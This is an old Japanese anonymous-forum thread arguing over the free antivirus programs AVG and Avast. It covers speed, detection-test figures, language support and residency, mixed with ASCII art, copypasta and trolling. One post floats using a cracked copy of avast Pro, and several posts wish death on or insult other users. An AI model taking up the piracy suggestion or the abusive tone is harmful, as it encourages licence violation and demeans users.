【AVG】　どちらがよい？ 議論スレ　【Avast】

ここはフリーのアンチウイルスソフト

AVG
http://www.grisoft.com/

Avast
http://www.avast.com/

を熱く議論するスレです
ではどうぞ。


個人的には最近うｐしまくりのＡＶＧがオススメ

>>2
乙

avast

終了

馬鹿馬鹿しい。

>>2
乙

ばかじゃねーの

>>1
m9（＾Д＾）ﾌﾟｷﾞｬｰｰｰｯ

まあ、第三者の立場から見るとくだらなくて逆に面白いけどな。

avast

さっきから馬鹿らしいってほざいてるのは負け組みのAVG厨ですね＾＾

>>10
燃料投下乙

ノートン！ノートン！ノートン！

avast最高

　　　　　　　　　　　　　　　　　　　　　あば


ｍｍ　　　　　　　　　　　　　　　　　　　　　　　＿＿＿＿_
|　⊂） ／￣￣￣￣＼,,　　　　　　　　　　　／−､ −､　　　 ＼
| ￣|/＿＿＿＿＿　　ヽ　　　 　　　　　　/　 |　 ・|・ 　| ､　　　 ＼
| 　 | ─ ､ ─ ､ ヽ |　　|　　　　　　　　　/ ／　`-●−′　＼ 　　 ヽ
|　　|　　・|・　　|─ |___/　　 　　　　　　 |/ ──　|　 ── 　 ヽ　 　|
|　　|` - c`─ ′　 6 l　　　　　　.（⌒） |.　──　|　 ──　 　 |　　 |
|　　|　 (＿＿＿_　　,‐´　　　　　　.|￣|　|　──　|　 ── 　 　 | 　 l
＼　＼　＿＿＿ ／ヽ　　 　　　　 |　 .|　ヽ （＿＿|＿＿＿＿　 /　/
　 ＼　　|／＼／　l ＾ヽ　　　 　　 |　　＼ ＼　　　　　　　　 　 /　/
　　　|　　　　　　 　|　　|　　　　 　 ヽ　　　ヽ ━━（ｔ）━━━━┥


　　　　　　　　　　　　　　　　　　　　　　すと！！
　
　　　　　　　　　　　　　　　　　　　　　　　　　　　　＿＿＿＿_
　　　　／￣￣￣￣＼,,　　　　　　　　　　　　　／−､ −､　　　 ＼
　　　/＿＿＿＿＿　　ヽ　　　　　　　　　　　/　 |　 ・|・ 　| ､　　　 ＼
　　　| ─ ､ ─ ､ ヽ |　　|　　 　　　　　　　 / ／　`-●−′　＼ 　　 ヽ
　　　|　　・|・　　|─ |___/　　 　　　　　　　 |/ ──　|　 ── 　 ヽ　 　|
　　　|` - c`─ ′　 6 l　　　　　　　　　　 |.　──　|　 ──　 　 |　　 |
　　　ヽ (＿＿＿_　　,-′　　 　　　　　　　.|　──　|　 ── 　 　 | 　 l
　　　　 ヽ ＿＿＿ ／ヽ　　 　 　　　　　　　ヽ （＿＿|＿＿＿＿　 /　/
　　　　γ .|／＼／　l ＾ヽ　　　 　　　　　　　＼　　　　　　　　 　 /　/
　　 　 |　　|　 　　　 |　　|　　　　 　　　　　　／━━（ｔ）━━━━┥
　　　　|　　 '―― ー、　　　　　　　　　　　（
　　　　 ヽ ＿＿＿|　　）　　　　　 　　　　　 ＼　　＼＿＿　　 _
　　　　　　　　　　　´￣　　　　　　　　　　　　　＼ 　　　　　|´　 ヽ
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　――― 、_ 人

AVGを支持する奴は一人しかいない罠

それがフリーソフトクオリティ

14のAA笑った。

ここがavast厨の新たな隔離スレか・・・

どちらもよい

どちらもよくない

ＡＶＧ７はユーザー名が２バイト文字だとインストールできないらしくて
ＡＶＧ６からavast!4に移行した(´･ω･｀)

結局こんなスレを立てちゃったのね　　　(ﾉ∀`) ｱﾁｬｰ

俺はどっちも使ってるぞ．
ノートで avast!
デスクトップで AVG

どっちも手元にあります。
今はAVG使ってるけど、
アップデートでエラーしたから、これが続けば
avast!に戻そうかと。
前者はたしかに、軽そうなんですけどね…。
後者もたいして重くは感じなかったな。
ノートがメインマシンなんですけどね。

わざわざこんなスレを立てるほど違いがあるの?

avastの常駐良いね

>>25
AVGとavastどっちを入れるか迷った時の参考に

>>21

ユーザー名も変えるスキルのないﾔﾂが使うソフト

それがあヴぁｓｔm9(＾Д＾)ﾌﾟｷﾞｬｰｰｰｯ

ユーザー名を変えないと使えないうんこソフトって認識はAVG厨にはないんだな
デフォで使えないなんてうんこいがいのなにものでもないよな

自分が気に入ったものを使う。
それができないやつは馬鹿。

ＡＶＧ！ＡＶＧ！安全マークのＡＶＧ！付いているから安心さ！ＡＶＧ！

みんなあヴぁすと使ってください
そしたらAVGのうｐ少しは軽くなるし

好きな方を好きなように使え
いちいち言い争う意味がわからん

争ってないよ？ちゃんとスレタイ見れ

以下avast!信者クオリティーでお送りします↓

スレタイの女

スレタイ棒ラーメン

インリンオブスレタイ

スレタイ・ガルボ

スレタイより網タイ

・2004年12月。サンプル数3518
Norton 2005 - 90.8%　
BitDefender Free 7.2 - 84.9%
McAfee VirusScan Enterprise 8.0i - 92.0%　
NOD32 2.12.3 - 79.8%
avast Home 4.5.549 - 79.1%　　　　　←★
AntiVir Personal 6.29.0.11 - 73.5%
AVG Free 7.0.296 - 65.7%　　　　　　←(´,_ゝ｀)ﾌﾟｯ

>>41
もっと新しいデータ出せハゲ
カスペもeTrustも入ってない
まずソース出せ

3000個やそこいらだとあれだし内訳も分からないけど、バックドアやトロイの木馬が
ほとんど開発元の眼中に無いNOD32とあまり変わらないんだな。

>>42
41ではないがソースはココの１らしい
http://www.wilderssecurity.com/showthread.php?t=58597

それぞれのAVの特色からかんがえてトロイ検出も別プロセスで行った結果が
レス番１７と１９

この数値じゃなんとも言えんし、これで叩きあいするぐらいならかすぺ使えよ、と俺は思う

俺はノートにAVG、デスクトップにavast!使ってます。
理由は同じにしたくないからであって、統一するなら迷わずAVGです。

わけのわからんヘンな理由

だからこいつら逆に面白いんだよ。もっとAAつかって長所出し合え！

>>45 なんで俺と逆にするんだよ！

AVGもAvastもチェコ発祥？
そう言えば、Kerioも元々チェコだっけ？

チェコの人たちなかなか頑張ってるんですね。

昔は共産圏では自動車など工業分野で東独に次いで優秀とか言われてたようだけど。

VIRUSには各社がそれぞれ独自に命名してる場合が多いようですが(一部は共通してるみたいですが)、
そうなると、日本語か英語でVIRUSについてある程度詳細に説明したweb pageを作成してることが
重要になると思います。

この点ではそれぞれどんなもんでしょうか？

・GRI(【AVG】)にはvirus事典あり。
・【Avast】には無いような。
・ちなみに【AntiVir】にもvirus事典あり。

　　　　　　　　　　　　　　　　　　　　　AV


ｍｍ　　　　　　　　　　　　　　　　　　　　　　　＿＿＿＿_
|　⊂） ／￣￣￣￣＼,,　　　　　　　　　　　／−､ −､　　　 ＼
| ￣|/＿＿＿＿＿　　ヽ　　　 　　　　　　/　 |　 ・|・ 　| ､　　　 ＼
| 　 | ─ ､ ─ ､ ヽ |　　|　　　　　　　　　/ ／　`-●−′　＼ 　　 ヽ
|　　|　　・|・　　|─ |___/　　 　　　　　　 |/ ──　|　 ── 　 ヽ　 　|
|　　|` - c`─ ′　 6 l　　　　　　.（⌒） |.　──　|　 ──　 　 |　　 |
|　　|　 (＿＿＿_　　,‐´　　　　　　.|￣|　|　──　|　 ── 　 　 | 　 l
＼　＼　＿＿＿ ／ヽ　　 　　　　 |　 .|　ヽ （＿＿|＿＿＿＿　 /　/
　 ＼　　|／＼／　l ＾ヽ　　　 　　 |　　＼ ＼　　　　　　　　 　 /　/
　　　|　　　　　　 　|　　|　　　　 　 ヽ　　　ヽ ━━（ｔ）━━━━┥


　　　　　　　　　　　　　　　　　　　　　　G！！
　
　　　　　　　　　　　　　　　　　　　　　　　　　　　　＿＿＿＿_
　　　　／￣￣￣￣＼,,　　　　　　　　　　　　　／−､ −､　　　 ＼
　　　/＿＿＿＿＿　　ヽ　　　　　　　　　　　/　 |　 ・|・ 　| ､　　　 ＼
　　　| ─ ､ ─ ､ ヽ |　　|　　 　　　　　　　 / ／　`-●−′　＼ 　　 ヽ
　　　|　　・|・　　|─ |___/　　 　　　　　　　 |/ ──　|　 ── 　 ヽ　 　|
　　　|` - c`─ ′　 6 l　　　　　　　　　　 |.　──　|　 ──　 　 |　　 |
　　　ヽ (＿＿＿_　　,-′　　 　　　　　　　.|　──　|　 ── 　 　 | 　 l
　　　　 ヽ ＿＿＿ ／ヽ　　 　 　　　　　　　ヽ （＿＿|＿＿＿＿　 /　/
　　　　γ .|／＼／　l ＾ヽ　　　 　　　　　　　＼　　　　　　　　 　 /　/
　　 　 |　　|　 　　　 |　　|　　　　 　　　　　　／━━（ｔ）━━━━┥
　　　　|　　 '―― ー、　　　　　　　　　　　（
　　　　 ヽ ＿＿＿|　　）　　　　　 　　　　　 ＼　　＼＿＿　　 _
　　　　　　　　　　　´￣　　　　　　　　　　　　　＼ 　　　　　|´　 ヽ
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　――― 、_ 人

苺キンタマって対応しているの？

AVGってひゅー捨てリックしてくれるんだっけ

Spybotではしてくれなかったけど？
　　　　　　　_,ヾゝｰ'"'"'"ｰ､,;　　　　,.:-‐―‐-.､_
　　　　　　,ﾗ　　　､_　　　　ヽ,､　／　　　　　　　＼
　　　　　 ｲ　 r-'ｰﾞ　"ー‐､,　 ﾐ/　　　　　　　　　　ヽ
　　　　　 i!　 ,!　　　　　　　i! ミi　　　,ﾊ　　　　　　　 i
　　　　　 ,j　i /ニ=､　 ,r==､i ,,ﾊ ,ﾉヽi! ﾞ'ﾚ＞ヾ-､　,!r'
　　　　　 i V　<(･)>i　i!(･)>ﾞ!,i　 !!ｲ(･)） <.(･)>ﾞ　i /!i
　　　　　 ﾞ!ji!　　　., j .i_　　 /j 　 i　　｡ ｡,　 　 　 ﾄ-'
　　　　　　,ｨi:.　 ;" ｰ-‐' 　 ﾄ'　　 .! 　 ,.=､ 　 　 /￣￣ﾞｰ-､＿
　　　　__ノ !ﾊ　 　 : 0 ;　 ,/　_,.-‐''＼ ﾞ＝''　 ,／
　　／　　　＼＼　 ￣ ,／／　　　　　ﾞｰ-‐‐"
／　　　　　　 ＼.ﾞー-ｲ ,/

　　　　　　　　　ナ ゝ　　　ナ ゝ　/　 　 十＿"　 　 ー;=‐　　　　　　　　　|! |!　 　
　　　　　　　　　　cト　　　　cト　/＾､_ﾉ　 | ､.__　つ　 （.__ 　 ￣￣￣￣ 　 ・ ・　　　
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　
　　　　　　　　　　　 ,. -─- ､._　　　　　　　　　　　　 　 ,. -─v─- ､._　　　　　＿
　 　 　 　 　 　 ,. ‐'´　　　　　　`‐､　　　　　　　　__, ‐'´　　 　 　 　 　 ヽ, ‐''´~　　 ｀´￣`‐､
　　　　　　　／　　　　　　　　　　　ヽ､_／)ﾉ　　 ≦　　　　　　　　　ヽ‐'´　　　　　　　　　 　 `‐､
　　　　　　/　　　　 ／￣~`'''‐- ､.._　　　ノ　　　≦　　　　　　　　 ≦　　　　　　　　　　　　　　 ヽ
　　　　　　i. 　　　／　　　　　　　　 ￣l　7　　　　１　 ｲ/l/|ﾍ ヽﾍ　≦　　　,　,ﾍ ､　　 　 　 　 　 i
　　　　　　,!ヘ.　/ ‐- ､._　　　u　　　　|/　　　　　 l |/ !　! | ヾ ヾ ヽ_､l　ｲ/l/|/ヽlﾍﾄ､　　　　　　│
.　　　　　 |〃､!ﾐ:　　 -─ゝ、　 　 ＿_ .l 　 　 　 　 ﾚ二ヽ、 ､__∠´＿ |/ |　! |　 | ヾ ヾﾍﾄ､　　　 l
　　　　　　!_ﾋ;　　　 Ｌ(.:)＿ `ｰ'"〈:)_,` /　　　　 　 rｉヽ_(:)_i　　'＿(:)_/ ! ‐;-､ 　 ､__,._-─‐ヽ.　,.-'､
　　　　　　/｀ﾞi　u 　 　 　 ´　　　 ヽ　 !　　　 　 　 !{　　　,!　　 `　　 （ } ' (:)〉　　´(.:)｀i　 　 |//ﾆ !
　　　　_／:::::::!　　　　　　 　 　 　 ,,..ゝ!￣￣￣￣ ﾞ!　　 ヽ '　　　　　 .ﾞ! 　７　　　 ￣　　　　| ﾄy'/
_,,. -‐ﾍ::::::::::::::ヽ、　　　 r'´~｀''‐､　 ／　u　　　　　 !、　 ‐=ﾆ⊃　 　 /!　 `ヽ"　　　　u　 　 ;-‐i´
　!　 　 ＼::::::::::::::ヽ　　　`ｰ─ '　／　　 　 　 　 u 　 ヽ　　‐-　　 ／　ヽ　 `￣二)　　　 　 /ヽﾄ､
　i､　　 　 ＼:::::::::::::::..､　　~"　／::: 　（●） 　 　 （●）　ヽ.＿__,.／　　//ヽ、　ー　　 　 　 　 ／ ゝ
　.! ＼　　 　 `‐､.　 　 `ｰ;--'´::::::::::::: 　 ＼＿＿_／　　　/ｲ;;:::::　 　 //〃　＼　　 __, ‐'　 ／　／ ＼
　 ヽ　＼　　　　 ＼　　 /　 ヽ:::::::::::::::::::.　　＼／　　　　　/i:::::.　　 //　　　　　￣ i:::::　／　／

アフォかこいつら

　　　 _ 　∩
　　(　ﾟ∀ﾟ)彡　ふぐり！ふぐり！
　　(　 ⊂彡
　 　|　 　|　
　 　し ωＪ

　　　　　　 _,,,,,,,,
　　　　 , - ' ﾞ 　　　｀` ‐ 、_,,,,,
　　　,r'　　　　　　　 　　／＝ミ
　　/　　　　　　　　　　　彡ll',''´
.　/ 　　　　　 　　　　　　彡lll
　!-- .､　　　 ,､､､､,,,　　 彡lﾉ
　l,,,,,__　/　　　___　　 　 'r''ﾞヽ
.　|`ﾞ'' ./　　　`'ﾞ'''"　　　 .〉,l |
　|. 　 ,'　　　　　　　 　　　//
.　',.　,'　　　 　 　　　　 ,　r'
.　 ﾞ,　ﾞ'ｰ　‐`　 　　　　l　 |
　 　ﾞ､''ﾞ ,,､二''‐　　　 ﾉ　 l、
''''''''7'ヽ　 '''　　　　／　 　/`〉｀ﾞT''''''''''
　　l　　` ､,,,,､- ' "　　　 / /.| 　|
.　 |　 |　 .l i　　　　　　 / ./ | 　|
　 |　 |　　| l　　　　　 / ./　.|　 |
.　|　 |　　 | l　　　 　/　/　 |　 |
　|　 |　　　| ',　　　/　/　　l 　.l
【ゴールデンレス】
このレスを見た人はコピペでもいいので
10分以内に3つのスレへ貼り付けてください。
そうすれば１４日後好きな人から告白されるわ宝くじは当たるわ
出世しまくるわ体の悪い所全部治るわでえらい事です

avastの方が信頼できるしwebシールドも楽しいんだが、
いかんせん俺の糞PCでは重くてな..........
よって今はavg

結局、PCのスペック次第ではないかな。
Avastで重く感じるならAVG以外の選択肢が無くなるわけで。
Avastを重く感じたらAVG、気にならなかったらそのままAvast。

厨かどうかだと思う。
俺は厨には迷わずavast!を勧める。

AVGもAvastもどちらもいいです。

　　　　　　　　　　　　　　　　　　　　　終了

どちらもよくない

>>62
英語が読めるかどうかの問題ですか

別にどっちでもかまわんよ。厨がまとめて消えてくれれば。

AvastはAVGより重いみたいですね。
バスターやノートンと比べても重いですか？

海外での話しだがノートンよりは評判が良いらしい
http://www.wilderssecurity.com/ のフォーラムで
ノートンからの移行が多いとぼやいている奴が前にいた

ノートン重くて検出率とかそれ以前の問題のようですね。
バスターと悩むなぁ。。>>68 thx

ＡＶＡＳＴは使い方良く分からないから，直感的に操作できるＡＶＧ
使っています，ＡＶＡＳＴの方が検出率は高いのでしょうが・・・。

>>70
両方ともVB100通ってるし、あんまり気にすることもないかと。。。
俺はAVGとavast両方紹介して、自分で好きな方選べって言ってるけどね

てことで、お前ら厨にはavast!がピッタリ。

自分は違うというような体で書き込むからびっくりするわ

ＡＶＧ使ってます。アップデートが頻繁なので，インドのソフトと
比較して驚いています。

↑氏んでいいよ

人は死ぬのに許可が要るのか…

まったくここはひどい板ですね 。
皆さんはひとの痛みがわからないのでしょうか？
匿名だからといって無責任な発言が多すぎます！
被害者の人権はどうでも良いというのでしょうか？
ニュース２３の筑紫さんが、インターネットのことを、

便所の落書きって言っているのを知っていますか？
あなたたちはどうせニュースも見ないから知らないと存じますが。
とうとう、本気で呆れています。

自分がちらっと見たものが全てのインターネットって思ってる筑紫って馬鹿なんだな( ´∀｀)

どっちがほんとの筑紫さんなの？２人いるよね。

>>77
雑誌やTVの番組だって良いのと悪いのが混在してるのにインターネットだけは全てが悪か？
軍に脅されたり買収されたりしてイラク進攻を促した某TV局と一緒じゃないか

筑紫は状況を的確に判断できなくなったただのボケ老人と同じだな
おまけに公共の電波を使って誤った情報を流してるし

スレ違い
今議論すべきはAVG最近うｐデート多すぎるんじゃねーの？ってこと
このような頻繁なうｐデートは利用者を不快させる恐れがある

おまいTV関係者だろ w

> このような頻繁なうｐデートは利用者を不快させる恐れがある
馬鹿か？ 新しいウイルスが出る以上、それに対応してなるべく早くパターンを更新するのが普通だろ
頻繁なアップデートを不快に思うのはアンチウイルスの役割を理解していない利用者の勝手

両方入れて試してみた
avastよりAVGの方が若干重いような気がする
avastは日本語でAVGは英語
検出力はavastが上
以上、俺が使った感想ですた

>>83
そう。厨房にはavast!がぴったり。

AVGしか使えんとです
P3 900使とるとAVG以外は選択ありません

使い古されたコピペ改変にマジレスする厨がいっぱいのスレはここですか？

575 ：名無しさん＠お腹いっぱい。：05/02/03 10:00:18
ウイルスの出現→定義ファイル作成までの平均時間らしい（テストした期間中の）
ttp://itmanagement.earthweb.com/columns/executive_tech/article.php/3316511
H:M Anti-Virus Program
06:51 Kaspersky
08:21 Bitdefender
08:45 Virusbuster
09:08 F-Secure
09:16 F-Prot
09:16 RAV
09:24 AntiVir
10:31 Quickheal
10:52 InoculateIT-CA
11:30 Ikarus
12:00 AVG ←
12:17 Avast ←
12:22 Sophos
12:31 Dr. Web
13:06 Trend Micro
13:10 Norman
13:59 Command
14:04 Panda
17:16 Esafe
24:12 A2
26:11 McAfee *
27:10 Symantec *
29:45 InoculateIT-VET

まあ〜AVGで安全が確保できるとは言い難いですなあ
ルータ＋ＦＷが無いと不安だな

「使い古された」と気付くほど入り浸っていないので分かりません。

>>88
ＡＶＧはただの安置ウィルスソフトだからＦＷは別に入れとけばか

>>90
あばすとはＦＷだけで十分だろ

avast!はランセンスを取得するだけでインストールしなくても保護されるところがすごい。

>>92みたいな馬鹿ってまだいるんだなｗ

ＡＶＧって安全なんでしょうか？
たとえば個人情報がもれたりとか、しませんか？

あなたの情報などいりません
（＾Д＾）9m

>>94
安全を自覚した時点で負けだと思う。

>>96＝AVG

そうですが、何か？

AVG＝負け組み

意味の無いスレですね。

AVG vs avast で、AntiVirはかすりもしないのね。
この三者だとどうなの？

avgast!

>>101
俺も知りたい　ｖｓ　AntiVir

AntiVirは最新入れたら誤検知したファイルがあって
今、avastを試してるとこ

AntiVirは旧Versionは使えたが現Versionはダメ。

>>104
いつからダメになったの？
ネトラのCDの中に一つ前のが入ってたけど・・

avastは多バイト文字に対応してるけどAntiVirは？

新しいヒューリスティックとアップデータの開発でそれどころじゃないよ。

ノートンとavastはどっちが良い？

avast!には常時P2Pシールドなるものが付いておるのだが
日本のメジャーどころはMXとビットトレントだけ・・・・・
ny,Shareは非対応。何からどこまで保護されるのか不明

初めから今まで

> ny,Shareは非対応。
対応して欲しけりゃリクエストシル！
なんかP2Pの情報募集してたような。。。

標準シールドがあればあとは検出力

軽さがすべて。
上級者は宝くじに当たるような確率でしか感染しないからだ。

関係あらへん

ギブかい？

ネットランナーって雑誌ではavastを絶賛してた。
俺はAVG使ってる。

>>116
おれはドイツ製というのにひかれて　AntiVir　使ってたが
avast に　乗り移った。　くるくる　回られるのが　気になるけど
今のところ満足してる。

だよねー

>>117
AntiVirのどのあたりがお気に召さなかったのかよろしければお話を
該当スレはあるけどなにぶん過疎っているもので

>>119
満足してたよ。無駄な機能もなくて良かった。
ただ、　新しくなってから、誤検知が出て、そのファイルの
除外設定ができなかったという理由かな・・

またAntiVirに戻るかもしれない

>>120
即レスどうもです…大事なファイルを消されてはたまらないですからね

その点AVGとかはその都度アクションを選べるので良いかも（笑）

XPから2000に乗り換えたら右下タスクトレイのアイコンが美しくない・・・・
半透明アイコンじゃなくなった、ならともかく明らかに色数落ちてる・・・それがグルグルと。

ねとらん読者はみんなavast乗り換えるからavastスレ繁盛するかも

avast!だけに厨が集まってくれれば他のアンチウイルス使ってるユーザーは
平和になるのでおｋ

AVG厨の発想ってやっぱ厨房なんだなｗｗ

avast厨の発想ってやっぱ厨房なんだなｗｗ

ほらなｗｗ

ほらなｗｗ

ほらなｗｗ

ほらなｗｗ

人類みな厨房

常駐しないＡＶＧはカス

ほらなｗｗ

http://www.virusbtn.com/vb100/archives/tests.xml?200502

Result summary: 11 passes / 19 fails Performance graph:
　　　　　　　　　　- Success / Failure
No EntryVendor website: http://www.avast.com/

Result summary: 7 passes / 20 fails Performance graph:
　　　　　　　　　　- Success / Failure
No EntryVendor website: http://www.grisoft.com


検出力
AVG＞＞＞＞＞＞＞＞＞＞＞＞AVAST!という事が証明されました！！！！

>>134
AVG厨が必死なのはわかるけどそれ違うから

>>134
http://pc5.2ch.net/test/read.cgi/sec/1109996469/428

> 残念ながら >>407 は記事の読み方を間違えていると思われ
> AVGに関して言えばこちらを参照するのがわかりやすいかと：
>
> ttp://www.virusbtn.com/vb100/archives/products.xml?avg.xml
>
> 「7 passes/20 fails」というのは、この「Virus Bulletin」が定期的に行ってきた
> アンチウィルス製品比較テストの「製品ごとの」履歴なんだな
> これを見るとAVGは以前はボロボロだったが（笑）最近はかなり良くなっている

ほらAVG厨って馬鹿丸出しだから・・

AVGって常駐しないの、タスクトレイにアイコンあるからしてるしてるのかと思っていました。

いいえしません。厨さんはavast!を使っててください。
わからないことがあればavast!スレで聞いてください。懇切丁寧にサポートしてくれますよ

AVGスレって質問しても絶対に教えてくれないよね

ava厨に阻止される。

AVG　常駐で検索すると、常駐してるみたいな記述があるのですが。
Avastは14ヶ月おきに登録とかまんどくさいんでなんかやです。まだ、入れてないけど

それもあるけど実際知ってて使ってる奴っていないよね

AVGは爽やかに常駐します。

avast!はネチャネチャと常駐します。

91 名前：名無しさん＠お腹いっぱい。 投稿日：2005/01/03(月) 15:56:20 ID:???
>>kageさく〜しゃ ★ 様
avast! Antivirusで、
0.99.1.1128のDLLがWin32:Simileと表示されます。

506 名前：名無しさん＠お腹いっぱい。：04/10/09 01:00:21 ID:GsqW3oyL
CoreVorbis_1.0_20040823.exeをインストールしたら、avast! 4 Home Editionが
CoreVorbisのアンインストーラを「トロイの木馬」だと言うんですが本当なんでしょうか？
CoreVorbisはとりあえず不安なんで、アンインスコしてしまったYO。

524 名前：516です。：04/11/25 22:57:43 ID:ltIKQInP
>>523
ご教授有難うございます。まさにavast!4でひっかかりましたぁ。誤検出ですか・・・
偽ウィルスを削除してしまいました〜ぁ。今日４台のマシンチェックして２台に誤検出ですよ。
今は一安心ですが、その本当に感染したら大変なことになりますね。
ちなみにウィルスソフトのお勧めはなんですかねぇ。XPSP2はあたりまくりなのでいやになります。

873 名前：名無し~3.EXE：04/10/08 22:38:08 ID:G7dv58K+
さっき落としたIE版のやつがavastに反応して立ち上がらない。

てゆうか、どっちもにたようなもの。
であれば、少しでも軽い方がいい。
軽さが最重要と思う。（厨は検出力重視でね。）

確かに同じ性能なら軽い方がいいな、でも軽いだけで性能は遥かに劣ってるのはどうかな

ノートンみたいに重くて使いものにならないのも売ってるけどな

ノートンは論外

>>148は、厨としては正しい。
低スキルの厨は平気で感染するからね。

そういう奴はあヴぁｓｔ使っとけ。

ＡＶＧはふぁいあふぉくすかモズラがデフォ
重い

>ふぁいあふぉくす
IEないと　インすと出来ないのしってる(w

あるよ。使ってないけど

AVGは日本語対応していないところがとてもいい。
avast!はもうダメだ。

多言語に対応するのはよいことだ
ゆんゆん

日本語に対応しているavast!が最強だな。

厨向け

ゆんゆんアバスト最高











そんな俺はノートン

日本語ユーザー名だとインスト出来ない、ってこと自体は
漏れには関係ないけど
重要なのは「２バイト文字に対する意識が低い」ってことだろう
もしかしたら・・・・って思っちゃう　信頼性に対して。

単にめんどうくさいから

ダメじゃんッッッ

アバストもＡＶＧも検出力低すぎ
webシールドがあるだけアバストのがマシ










ま、貧乏スペックPCオーナーや厨には使いこなせないだろうが(プゲラ

avast!とAVGのウイルスの検出力が分かるサイトってないの？

ふふふ・・ギブかい？

ふふふ・・ギブかい？

ここは小学生か・・・

自分の意見を言って満足しているし・・・

いかにも自分は違うというような体で書き込むからびっくりするわ

　

なぁ、軽いのはどれ？信者フィルターなしで

軽いのは微妙にAVGかな、うんこPCでavast使ってるが特に重いって印象はないな

軽いって、どっちもひどく軽い。

どっちかを叩くんじゃなくて良さを教えてくれや糞ども

いや叩いてないからしねよ>>174は

avast入れるとソフトの起動が遅くなったんだけど。仕様かな。

>>176
それは仕様、ソフト起動時にﾁｪｯｸしてるから遅くなるから、頻繁につかうソフトは除外しとくって方法もありまｓ

>>177
仕様っすか。それは面倒臭いんでAVGに変えようかな。
AVGの方が軽いみたいだし

軽さはＡＶＧ
検出率はavast
お好きなほうを

両方使ってみた結論
普通にAVGがいい。
avastは他のソフトの体感速度が明らかに遅くなる。

avastは設定次第














ま、2Ghzもない貧乏人には使えないだろうがなwww

ノートンに比べればavastの重さなんて気にならん

俺ＡＶＧがいいと思う，ＡＶＡＳＴは使い方よく分からん。

kerio≒avast
どんなにあがいてもZA(ノートン)に勝てないのは周知の事実w

ZAとノートン並べる時点で間違いだろ

1行目も

検出率なんてどうでもいい

問題はフリーで日本語なのかどうかです。

ぶっちゃけ100%検出できるソフトなんてないよ。
そんなに気になるなら自分でサーバたててウイルス駆除したらいい。

ワームが沢山釣れて楽しいよ。

おーっとここで華麗にスルー！
　　　　　　　　　 ＿
　　　　　　　　 r'::::::::i
　　　　　　　 　 ﾄｰf/__
　　　　　　　／　 ｲ|　､ヽ
　　　　　　 //_〉　l_l　i_ノ､
　＼＼ (_ニノ　〉＿___〉〉 〉
　　　　　　　／　　　　} / 　　 　 　　 　 　 ,_-‐､
　　　　　　／＼／,ｰ 'ヾ　　　　　　　　　　i"_Y 〈i
　　　　　 〈　 <　/　　　　　　　　　　　　　 ゝ^-'"
　　　　　　＼i"ヽ､　　＼＼　　　　　／／
　　　　　　├ i＼i ｶ　　　　　　,､
　　　　　　 |_,,i ノ_ｿ　　　　）　　　　　ゝ

絵はやめようよ。

>>165

Avast! ProfessionalとAVG Professionalの比較ですが、

AV-Comparatives http://www.av-comparatives.org/
→Comparatives
5. On-demand comparative　February 2005 の
Online resultsかReportのPDFファイルを読んでみて。

ここの比較テストに登場している製品は、事前テストで85％以上の検出率(on-demand)と
スキャンの過程でトラブルや異常が生じないという一定のテストをクリアしたもの
ばかりなので、比較テストでは順位やグループ分けがされていますが（Report）、
どれも優秀な製品には変わりないです。
http://www.wilderssecurity.com/showpost.php?s=769aab2c44873998d636641b3de929c6&p=405921&postcount=14

なお、同じエンジンを使用している製品は除かれています（例：F-Secure＝KAV）。

>一定のテストをクリアしたものばかりなので
一定の条件をクリアしたものばかりなので

来年の比較テストにはARCAVIRとPANDAが加わる可能性が高いそうです。

>>190
関係ないがその「Online results」をモジラで読むと
テーブルがグチャグチャになるね（笑）

Avast!のくるくる回る青い玉が好きだ。
ノートンのあの猛烈に重たいのに比べたらＡＶＧもAvast!も全然軽いよね？

Avast!は知らないけどAVGは確かに軽いねえ
常駐させたままでもビデオキャプチャーの邪魔にならない

>>193
Avast!もAVGも回るのか

>>195
AVGは回りません。

軽い以外にAVGの長所なんかあるのか？

無ければ何なのだ

ウィルスに感染するのはPC初心者。
よって検出率なんて関係ない。

いや、ベテランでもスキル不足なら感染する。

AVGもメール受信するとき回るよ。

感染しないことに自信があるなら　ここにこなければいい

>>202は感染歴ありの低スキル厨。

いかにも自分は違うというような体で書き込むからびっくりするわ

>>204も感染歴ありの低スキル厨。

という205も感染者

犬が転んでワンパターン

　

結局avastProを割れでＦＡ？

ウイルス検出に関しては
フリーでも同じだから・・

漏まえらはAntiVirとAVGとAvast!ではどれが一番良いと思われ？

漏れ的には糞PCだから軽いAVGがいいけど。

ほう

210＝スクリプトブロッカの重要性を理解しない低脳

↓次にお前はコンプライアンスの重要性を理解しない低脳と言う。

むそむそ

？昆布ライス?

>>211
AntiVirだな！
AVGとAvast!つかってるやしは氏んだ方がいい

【結論】
大差なし。
好きなほう使え。









くだらんネタスレで板汚すな

━━━━━━━━━━━━━━━━━━━━━
＊＊＊＊＊＊＊＊＊＊終了＊＊＊＊＊＊＊＊＊
━━━━━━━━━━━━━━━━━━━━━

▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲

絵はやめようよ

ネギを食え

　

やっぱ俺はスープ春雨がいいと思うんだよ。
ほら、カロリーも低いし。
でもさ、春雨とビーフンってどう違うの？
俺ビーフン食ったことないからよくわからないんだよね。

ともかく、今まで夜食とかで腹減ったらカップラーメンとか食ってたけど、
そこをスープ春雨に置き換えたら体重減ってきたよ。

すみません。午前８時になると、スキャンをやりだします。この時刻を変更するには、どうすればよいのですか。

>>224
おいおい...

好きな方を使えばいいだろう・・・・

でも、検出力と機能だったらavast!の方が上。
>>218の言ってるように、そんな大きな差じゃないけど。

英語とPCのできない人はavast!

じゃあ、英語が分かる俺はAVGで。

日本語とPCできない香具師はAVGだべ

>>227
日本語できるからってアメリカ人がわざわざ日本語使うか？
普通、母国語使うべや

英語が理解できて嬉しいんだろう










Linux入門者みたい

>>230
なんで？英語でも日本語でも全く同じだけど。
情報を取得するとき、内容は覚えているが、言語が日本語だったか英語だったかは覚えていない。
そういうものだろ。

結論。バカはavast!

　

英語がかっこいいって思い込んでる厨房が好んで使うのがAVG

四角好きはAVG
丸はAvast!
ただそれだけ

本当にわかっててAVGを使ってる香具師はいない

あらゆるアプリケーションの妨害をするのがavast!
それを喜ぶ無教養で暇なマゾがavast!厨

英語読めなくてもそこら辺に解説サイトがあるだろ

ってAVG厨が申しております

http://tool-ya.ddo.jp/2ch/trash-box/file/20050408033135181.gif
http://tool-ya.ddo.jp/2ch/trash-box/file/20050408032703168.jpg
http://tool-ya.ddo.jp/2ch/trash-box/file/20050408032730169.jpg
